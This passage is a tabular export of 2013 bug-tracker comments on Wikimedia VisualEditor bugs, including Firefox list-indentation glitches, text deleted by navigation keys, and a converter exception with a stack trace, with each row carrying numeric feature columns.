I didn't say it doesn't appear in production, I said it doesn't appear in master; had I been unable to reproduce, I would have said. :-)

I think this is fixed through changes made in master but not deployed, but bug 47795 appears to have broken itself; I'll close this and mark that as re-opened."
214385,VisualEditor: Delete on empty first item of list -> pawn in Firefox,"James, do you mean the pawn does not appear for you?
I tried just now on wikipedia.org, the pawn appears.
Please note that the correct instructions are those in Comment 1.

Ubuntu 2012.10, Firefox 20.0",,,1368153322,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-beabkw6yw7remnijbvdm,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,14.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,7.0,2.0,7.0,0.0,7.0,9.0,9.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.8636363636363638,0.8181818181818182,"James, do you mean the pawn does not appear for you?
I tried just now on wikipedia.org, the pawn appears.
Please note that the correct instructions are those in Comment 1.

Ubuntu 2012.10, Firefox 20.0"
214381,VisualEditor: Delete on empty first item of list -> pawn in Firefox,"I can reproduce bug 47795 in master in Firefox, but not the pawn issue; all works in Chrome, as normal.",,,1368126046,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-beabkw6yw7remnijbvdm,task_subcomment,,True,c1,1,True,,,-8,,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,17.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.875,"I can reproduce bug 47795 in master in Firefox, but not the pawn issue; all works in Chrome, as normal."
214373,VisualEditor: Delete on empty first item of list -> pawn in Firefox,"Sorry, ignore the first Delete step above.

Steps should read:

Type ""Enter"" 2 times.
Type ""Up"".
Click Bullet List
Type q
Type Left
Type Enter
Type Up
Type Delete",,,1368089888,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-beabkw6yw7remnijbvdm,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,40.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,2.0,26.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0425531914893615,0.5531914893617021,"Sorry, ignore the first Delete step above.

Steps should read:

Type ""Enter"" 2 times.
Type ""Up"".
Click Bullet List
Type q
Type Left
Type Enter
Type Up
Type Delete"
50193,VisualEditor: ve.dm.Converter throws exception when encountering alien from [[en:Enterprise_content_management]],"1. Open http://en.wikipedia.org/wiki/Enterprise_content_management
2. Add a space and remove it
3. Press ""Review and Save""
4. Wait forever.

The text stays greyed out and nothing changes. Changes can't be saved.
Same for any article I tried.

Ubuntu 2012.10, Firefox 20.0

--------------------------
**Version**: unspecified
**Severity**: blocker",Unbreak Now!,100.0,1367893860,1368023940.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-32fs65piddaapoc5z4hg,task_description,resolved,True,c1,1,False,False,True,-8,,1.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,20.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,3.0,3.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,3.3684210526315788,0.6710526315789473,"1. Open URL
2. Add a space and remove it
3. Press ""Review and Save""
4. Wait forever.

The text stays greyed out and nothing changes. Changes can't be saved.
Same for any article I tried.

Ubuntu 2012.10, Firefox 20.0

--------------------------
**Version**: unspecified
**Severity**: blocker"
209024,VisualEditor: ve.dm.Converter throws exception when encountering alien from [[en:Enterprise_content_management]],"

*** This bug has been marked as a duplicate of bug 48181 ***",,,1368023940,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-32fs65piddaapoc5z4hg,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 48181 ***"
209019,VisualEditor: ve.dm.Converter throws exception when encountering alien from [[en:Enterprise_content_management]],Bug is gone indeed.,,,1368018208,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-32fs65piddaapoc5z4hg,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,Bug is gone indeed.
209013,VisualEditor: ve.dm.Converter throws exception when encountering alien from [[en:Enterprise_content_management]],Can't reproduce in Chrome or FF. I see other bugs (which I think have been filed elsewhere) but nothing that stops me from reviewing.,,,1368018032,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-32fs65piddaapoc5z4hg,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,10.0,0.0,7.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,7.0,7.0,0.0,0.0,0.0,10.0,0.0,7.0,0.0,3.0,3.0,0.0,0.0,0.0,3.793103448275862,0.9310344827586207,Can't reproduce in Chrome or FF. I see other bugs (which I think have been filed elsewhere) but nothing that stops me from reviewing.
209008,VisualEditor: ve.dm.Converter throws exception when encountering alien from [[en:Enterprise_content_management]],"Ed, marking this as immediate for when you wake.",,,1367895324,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-32fs65piddaapoc5z4hg,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,9.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,3.6363636363636362,1.0,"Ed, marking this as immediate for when you wake."
209005,VisualEditor: ve.dm.Converter throws exception when encountering alien from [[en:Enterprise_content_management]],Error: toDomElements() failed to return an array when converting element of type alienBlock @ http://bits.wikimedia.org/en.wikipedia.org/load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cicons-raster%7Cext.visualEditor.viewPageTarget.icons-raster%7Crangy%7Cunicodejs.wordbreak&skin=vector&version=20130506T190432Z&*:130,,,1367894800,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-32fs65piddaapoc5z4hg,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,17.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,11.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,4.611111111111111,1.0,Error: toDomElements() failed to return an array when converting element of type alienBlock @ URL
209001,VisualEditor: ve.dm.Converter throws exception when encountering alien from [[en:Enterprise_content_management]],"Uncaught Error: toDomElements() failed to return an array when converting element of type alienBlock load.php:4092
> ve.dm.Converter.getDomElementsFromDataElement load.php:4092
> ve.dm.Converter.getDomSubtreeFromData load.php:4629
> ve.dm.Converter.getDomFromData load.php:4444
> ve.init.mw.ViewPageTarget.swapSaveDialog load.php:101
> ve.init.mw.ViewPageTarget.showSaveDialog load.php:99
> ve.init.mw.ViewPageTarget.onToolbarSaveButtonClick load.php:87
> proxy load.php:10
> ve.EventEmitter.emit load.php:11
> ve.ui.ButtonWidget.onClick load.php:8696
> proxy load.php:10
> jQuery.event.dispatch load.php:45
> elemData.handle.eventHandle",,,1367894666,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-32fs65piddaapoc5z4hg,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,33.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,33.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.095238095238095,0.47619047619047616,"Uncaught Error: toDomElements() failed to return an array when converting element of type alienBlock load.php:4092
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
208997,VisualEditor: ve.dm.Converter throws exception when encountering alien from [[en:Enterprise_content_management]],"(In reply to comment #0)
> 1. Open http://en.wikipedia.org/wiki/Enterprise_content_management
> 2. Add a space and remove it
> 3. Press ""Review and Save""
> 4. Wait forever.
> 
> The text stays greyed out and nothing changes. Changes can't be saved.
> Same for any article I tried.
> 
> Ubuntu 2012.10, Firefox 20.0

Confirmed on Firefox 20, Mac OS X.",,,1367894611,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-32fs65piddaapoc5z4hg,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,9.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9714285714285715,0.5428571428571428,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Confirmed on Firefox 20, Mac OS X."
208992,VisualEditor: ve.dm.Converter throws exception when encountering alien from [[en:Enterprise_content_management]],What does the console error log say?,,,1367893927,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-32fs65piddaapoc5z4hg,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,What does the console error log say?
50069,VisualEditor: Indenting multiple list items now broken in Firefox,"Multiple list items don't indent properly.

Steps to duplicate the bug:

Write a couple of lines. Mark all the lines and click the ""list"" button - producing bullet-list. 

If the indent button is clicked when the cursor is on a single list item, that item will be indented. However, if you mark a couple of list items and indent them at once, the indentation is jumbled: some of the items are indented and some double-indented (and the item above the selection seems to be indented as well)

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1367650560,1368465449.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-cilebqon5xuldg2g3esr,task_description,resolved,True,c1,1,False,False,True,-9,,2.0,0.0,0.0,3.5,0.5,4.0,0.5,0.0,0.0,1.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,4.5,7.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,4.5,0.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,7.5,4.0,4.5,2.0,3.0,10.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,1.5,7.0,0.0,0.0,1.0,0.0,1.5,0.0,0.5,2.0,1.0,0.5,0.0,0.0,0.0,3.7936507936507935,0.6746031746031746,"Multiple list items don't indent properly.

Steps to duplicate the bug:

Write a couple of lines. Mark all the lines and click the ""list"" button - producing bullet-list. 

If the indent button is clicked when the cursor is on a single list item, that item will be indented. However, if you mark a couple of list items and indent them at once, the indentation is jumbled: some of the items are indented and some double-indented (and the item above the selection seems to be indented as well)

--------------------------
**Version**: unspecified
**Severity**: normal"
227040,VisualEditor: Indenting multiple list items now broken in Firefox,"

*** This bug has been marked as a duplicate of bug 48390 ***",,,1368465449,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-cilebqon5xuldg2g3esr,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 48390 ***"
227033,VisualEditor: Indenting multiple list items now broken in Firefox,"I am entirely not sure if I am in the right direction here, but I figured I'd share my intuition --

I am thinking this is some bug with the definition of child-nodes vs same-level nodes, which results in indentation as if some of the nodes selected are parents.

There was a change in ve.ce.BranchNode.js and ve.ce.ContentBranchNode.js regarding child nodes -- could this have caused it?


+ve.ce.BranchNode.prototype.onModelUpdate = function ( transaction ) {
+       this.emit( 'childUpdate', transaction );

And there are a couple of other changes in the ve.ce.BranchNode.prototype.onSplice method. Perhaps something went wrong with the definition of what is a child and what is a same-level node, which then jumbles up the hierarchy of the list?

(I do hope I am in the right direction here, I thought I'd share my thoughts)",,,1367694128,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-cilebqon5xuldg2g3esr,task_subcomment,,True,c1,1,False,,,-9,,1.0,0.5,0.5,0.0,0.5,4.0,3.0,0.0,0.0,1.0,3.0,2.5,0.0,0.0,1.0,6.0,0.0,3.5,9.0,0.5,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.5,1.0,0.5,6.5,1.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,7.0,5.5,7.5,1.0,3.0,10.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,6.5,9.0,2.0,1.0,1.0,0.0,6.5,0.0,2.5,2.5,0.0,1.0,0.0,0.0,0.0,4.184523809523809,0.7202380952380952,"I am entirely not sure if I am in the right direction here, but I figured I'd share my intuition --

I am thinking this is some bug with the definition of child-nodes vs same-level nodes, which results in indentation as if some of the nodes selected are parents.

There was a change in ve.ce.BranchNode.js and ve.ce.ContentBranchNode.js regarding child nodes -- could this have caused it?


+ve.ce.BranchNode.prototype.onModelUpdate = function ( transaction ) {
+       this.emit( 'childUpdate', transaction );

And there are a couple of other changes in the ve.ce.BranchNode.prototype.onSplice method. Perhaps something went wrong with the definition of what is a child and what is a same-level node, which then jumbles up the hierarchy of the list?

(I do hope I am in the right direction here, I thought I'd share my thoughts)"
227027,VisualEditor: Indenting multiple list items now broken in Firefox,Broken in master for Firefox but not in wmf3 - presumably we changed something in the last week that did this?,,,1367692978,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cilebqon5xuldg2g3esr,task_subcomment,,True,c1,1,True,,,-9,,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,18.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,9.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,18.0,9.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,0.9090909090909091,Broken in master for Firefox but not in wmf3 - presumably we changed something in the last week that did this?
50022,"VisualEditor: Selecting text and hitting Function keys, PageUp/Down, End/Insert deletes the selected text in Firefox","*that* was an amusing bug to find.

Tested on mediawiki.org.

Steps:

1. Write text in an ordered list item
2. Select some of the text
3. Hit ""end""

Expected:

Cursor at end of line

Actual:

Cursor at end of line, text gone

I would *suspect* this is an easy bug, unmark it if it's not.

Found bug on Firefox 23 alpha 1

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1367530560,1368221665.0,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-kcoehi5bluofxq2bsd4i,task_description,resolved,True,c1,1,True,False,True,-9,,0.5,0.0,0.0,0.0,1.0,4.0,1.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,6.5,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,2.0,3.0,2.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.5,9.5,1.0,0.0,4.5,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,6.5,2.5,0.0,1.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,3.139057239057239,0.678956228956229,"*that* was an amusing bug to find.

Tested on mediawiki.org.

Steps:

1. Write text in an ordered list item
2. Select some of the text
3. Hit ""end""

Expected:

Cursor at end of line

Actual:

Cursor at end of line, text gone

I would *suspect* this is an easy bug, unmark it if it's not.

Found bug on Firefox 23 alpha 1

--------------------------
**Version**: unspecified
**Severity**: normal"
223685,"VisualEditor: Selecting text and hitting Function keys, PageUp/Down, End/Insert deletes the selected text in Firefox",*** Bug 48288 has been marked as a duplicate of this bug. ***,,,1369093388,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kcoehi5bluofxq2bsd4i,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48288 has been marked as a duplicate of this bug. ***
223677,"VisualEditor: Selecting text and hitting Function keys, PageUp/Down, End/Insert deletes the selected text in Firefox",https://gerrit.wikimedia.org/r/63223 (Gerrit Change I7a8d6c474ecca5af02b72b6453c900ed61acea58) | change APPROVED and MERGED [by jenkins-bot],,,1368221634,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kcoehi5bluofxq2bsd4i,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.117647058823529,1.0,GERRIT_URL (Gerrit Change I7a8d6c474ecca5af02b72b6453c900ed61acea58) | change APPROVED and MERGED [by jenkins-bot]
223670,"VisualEditor: Selecting text and hitting Function keys, PageUp/Down, End/Insert deletes the selected text in Firefox",Related URL: https://gerrit.wikimedia.org/r/63223 (Gerrit Change I7a8d6c474ecca5af02b72b6453c900ed61acea58),,,1368219098,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kcoehi5bluofxq2bsd4i,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I7a8d6c474ecca5af02b72b6453c900ed61acea58)
223661,"VisualEditor: Selecting text and hitting Function keys, PageUp/Down, End/Insert deletes the selected text in Firefox",*** Bug 48039 has been marked as a duplicate of this bug. ***,,,1367600124,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kcoehi5bluofxq2bsd4i,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48039 has been marked as a duplicate of this bug. ***
